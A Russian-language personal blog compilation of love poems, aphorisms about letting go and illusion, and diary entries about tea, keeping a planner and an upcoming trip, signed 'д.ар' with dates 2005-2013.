И из каждой розетки снова бежит искусство -
В том числе и из тех, где раньше включался мозг.

Ты становишься будто с дом: чуешь каждый атом,
Дышишь тысячью легких; в поры пускаешь свет.
И когда я привыкну, черт? Но к ручным гранатам -
Почему-то не возникает иммунитет.

Мне с тобой во сто крат отчаяннее и чище;
Стиснешь руку - а под венец или под конвой, -
Разве важно? Граната служит приправой к пище -
Ты простой механизм себя ощущать живой.

" В немецком языке есть слово «hassliebe». Если по словарю, то оно переводится как «чувство, колеблющееся между любовью и ненавистью». Вот такое чувство я испытываю к каждому своему «сегодня». "

«Солнце, а разве ты не знаешь, что все делается к лучшему? Просто очень медленно. Надо идти дальше и не тащить с собой чемоданы, набитые прошлым. Рук не хватит, и выдохнешься на полпути».
" В немецком языке есть слово «hassliebe». Если по словарю, то оно переводится как «чувство, колеблющееся между любовью и ненавистью». Вот такое чувство я испытываю к каждому своему «сегодня»"

"Отпустить – не значит сдаться. Чаще всего это единственное верное решение, победа над обстоятельствами."

"Иллюзия – это далеко не надежда, а надежда не всегда реальность."

"Я устала так сильно, что готова была бежать куда угодно. Ноги не стояли на месте – пускались в бег, подальше бы от прежних мест. Я не могла больше выносить твое молчание, и свои страхи, и эти крайности, переходы от одного к другому. Самое сложное в отношениях – это чертовы переходы от надежды к отчаянию, от уверенности к сомнениям.
У меня что-то поломалось внутри – приемник любви. А я боялась признаться в этом, носилась по замкнутому кругу, отгоняла свои сомнения, упиваясь редкими вспышками твоей искренности, искала самого малого – доброго слова, поддержки. Толчка для того, чтобы снова вернуться к сладостному самообману."

Чай. Особенно если он из травок (мята, мелисса, шалфей и т. п.). И ещё люблю всякие ароматизированные чаи, с ягодками, фруктами и всяким таким вкусненьким :)

Поняла, что я слишком ленивая задница, поэтому решено: с сентября начинаю вести ежедневник, в который буду вписывать всё, что нужно делать в свои выходные, но что мне часто бывает лень. Разумеется, это не будет распорядком дня, расписанным по минутам, но буду писать себе какие-то обязательные задания типа "поприседать" или "сделать уборку", или "прочесть 100 страниц", чтобы потом радостно вычеркивать. Люблю вычеркивать и гордиться собой. В общем, буду приучать себя к дисциплине и отучать от бренного лежания на кровати. Тем более очень нравится как-то письменно оформлять свои планы. И на завтра уже готова маленькая записка со списком дел.

А тем временем долгожданный отпуск становится всё реальнее и осуществимее. И тоже требует планирования, так как помимо простого "отдохнуть и увидеться со всеми" имеется ещё масса мелких дел и обязательных приобретений. Так что многие уже имеющиеся и новообразовавшиеся планы и всё к ним прилагающееся просто не удержать в голове. И очень хочется это всё как-то упорядочить, чтобы точно ничего не забыть. Изначально разрывалась между двумя вариантами отдыха, один из которых вроде отпал сам по себе, ну или может отложился на неопределенный срок. Зато второй всё четче обрисовывается, уже имеет пока что довольно размытые даты, сроки и даже чёткие внезапно возникшие планы (спасибо, женщина, я знаю, что ты это читаешь). Так что сейчас я пребываю в сладком предвкушении этого маленького большого путешествия, огромного количества поездов и новых, а с ними и старых добрых видов.

Я единственный человек, кто верил тебе и верил в тебя. Остальные твердили, что ты того не стоишь. Знаешь, они были правы.

Если хочешь о важном — давай о важном.
Хотя это понятие так двояко.
Одиночество — вовсе не так уж страшно,
Страшно в 21 умереть от рака.
Страшно ночью не спать от грызучей боли,
Что вползает под кожу и ест с корнями,
А ты роешь могилу от слов: "Уволен",
Или "Лучше остаться с тобой друзьями".
Говоришь, как пугающи предпосылки
Неизбежности рока, судьбы, удела?
Страшен выбор — идти собирать бутылки,
Или сразу идти на торговлю телом.
Говоришь, нет квартиры в многоэтажке,
Платежи коммунальные шею душат?
А когда-то хватало малины в чашке
И оладушек бабушкиных на ужин.
Говоришь, что вокруг — дураки и драмы,
Что в кошмарах — тупые пустые лица.
Страшно — в девять ребенку лишиться мамы!
Страшно — маме ребенку не дать родиться!
Страшно видеть, как мир в себе носит злобу,
Как друзья обменялись ножами в спину.
Если хочешь о важном — давай о добром.
Как быть добрым хотя бы наполовину?
Как найти в себе силу остаться честным,
Ощутить в себе волю, очистить душу?
Правда, хочешь о важном? Садись.
Чудесно, что ты еще хочешь слушать.

независимость хуже смерти.
под ударами все равны.
и крошится мозг. отрешенно
нервы любовью полны.

и я плавлю время.
и есть не могу абсолютно.
и стремлюсь как фанатик
к тебе как бездомный к уюту.

и невдомёк что никто
никогда не предан.
из двух влюбленных
один - влюблён. второй - следом.

д.ар
2005-2013 год.